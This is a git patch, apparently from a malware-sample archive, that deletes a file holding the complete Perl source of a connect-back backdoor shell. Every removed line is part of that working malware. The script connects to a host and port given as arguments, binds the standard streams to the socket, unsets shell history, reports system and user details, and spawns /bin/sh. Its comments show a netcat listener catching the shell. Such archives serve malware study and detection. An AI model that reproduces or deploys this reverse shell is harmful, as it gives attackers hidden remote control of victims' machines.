From 4e5769ab7c21797b2bcf22207ed07eceaebc53d5 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:07:03 -0600
Subject: [PATCH] Delete Backdoor.Perl.Small.e

na
---
 Perl/Backdoor.Perl.Small.e | 59 --------------------------------------
 1 file changed, 59 deletions(-)
 delete mode 100644 Perl/Backdoor.Perl.Small.e

diff --git a/Perl/Backdoor.Perl.Small.e b/Perl/Backdoor.Perl.Small.e
deleted file mode 100644
index cd3963cf..00000000
--- a/Perl/Backdoor.Perl.Small.e
+++ /dev/null
@@ -1,59 +0,0 @@
-use IO::Socket;
-#IRAN HACKERS SABOTAGE Connect Back Shell          
-#code by:LorD
-#We Are :LorD-C0d3r-NT                                           
-#
-#lord@SlackwareLinux:/home/programing$ perl dc.pl
-#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
-#
-#Usage: dc.pl [Host] [Port]
-#
-#Ex: dc.pl 127.0.0.1 2121
-#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
-#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
-#
-#[*] Resolving HostName
-#[*] Connecting... 127.0.0.1
-#[*] Spawning Shell
-#[*] Connected to remote host
-
-#bash-2.05b# nc -vv -l -p 2121
-#listening on [any] 2121 ...
-#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
-#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
-#
-#--==Systeminfo==--
-#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
-#
-#--==Userinfo==--
-#uid=1001(lord) gid=100(users) groups=100(users)
-#
-#--==Directory==--
-#/root
-#
-#--==Shell==--
-#
-$system	= '/bin/sh';
-$ARGC=@ARGV; 
-print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; 
-if ($ARGC!=2) { 
-   print "Usage: $0 [Host] [Port] \n\n"; 
-   die "Ex: $0 127.0.0.1 2121 \n"; 
-} 
-use Socket; 
-use FileHandle; 
-socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 
-connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 
-print "[*] Resolving HostName\n";
-print "[*] Connecting... $ARGV[0] \n"; 
-print "[*] Spawning Shell \n";
-print "[*] Connected to remote host \n";
-SOCKET->autoflush(); 
-open(STDIN, ">&SOCKET"); 
-open(STDOUT,">&SOCKET"); 
-open(STDERR,">&SOCKET"); 
-print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--  \n\n"; 
-system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
-echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 
-system($system);
-#EOF
\ No newline at end of file